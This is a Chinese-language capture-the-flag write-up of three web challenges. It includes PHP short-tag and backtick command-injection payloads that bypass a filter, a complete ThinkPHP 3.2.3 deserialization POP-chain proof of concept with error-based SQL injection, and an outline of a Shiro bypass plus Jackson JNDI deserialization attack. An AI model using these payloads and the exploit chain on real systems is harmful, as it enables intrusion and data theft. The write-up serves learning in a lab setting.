write_shell
看题目知道是写shell
打开网页得到源码
可以看到这里给了路径,然后进行文件写入
sandbox/cc551ab005b2e60fbdc88de809b2c4b1/
里面有过滤代码,首先waf先遍历数组,防止数组绕过preg_match
然后preg_match过滤了php,eval没法写一句话,尝试php的短标签
在正常PHP5
中,支持如下4种PHP标签:
– 通过<?php
标签
– 通过<?
标签
– 通过<%
标签(默认不开启,PHP7后被移除)
– 通过<script language="php">
标签(PHP7后被移除)
尝试写入,空格过滤了,fuzz后%09可以绕过,写入?action=upload&data=<?echo%09111?>
成功写入
同时php会把反引号内的内容当作命令执行,使用反引号运算符“的效果与函数 shell_exec() 相同。所以我们尝试写入:
?action=upload&data=<?echo%09\
ls%09/`?>`
获取路径
读取flag
?action=upload&data=<?echo%09`cat%09/flllllll1112222222lag`?>
EasyTP
进来啥也没有,知道是Thinkphp
扫一下得到www.zip,下载源码,看到反序列化点
tp版本是3.2.3,直接网上找链子,ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链
在BUUCTF的环境中,database=test,password=root
报错注入
poc
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "test",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "root"
);
}
}
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;
public function __construct(){
$this->handle = new Model();
}
}
}
namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}
namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}
爆表
爆列
获取flag,发现获取长度不够
使用mid获取后面flag
JavaWeb
进来是错误页面,这是spring或者是springboot
尝试post /login,回显登陆失败
并且返回cookie里有deleteMe,可以知道是shori,那么就可以使用/;/绕过
可以看到jackson,这里可以尝试反序列化
成功监听到
直接使用工具打
https://github.com/welk1n/JNDI-Injection-Exploit
用 Spring 那条链直接打
得到flag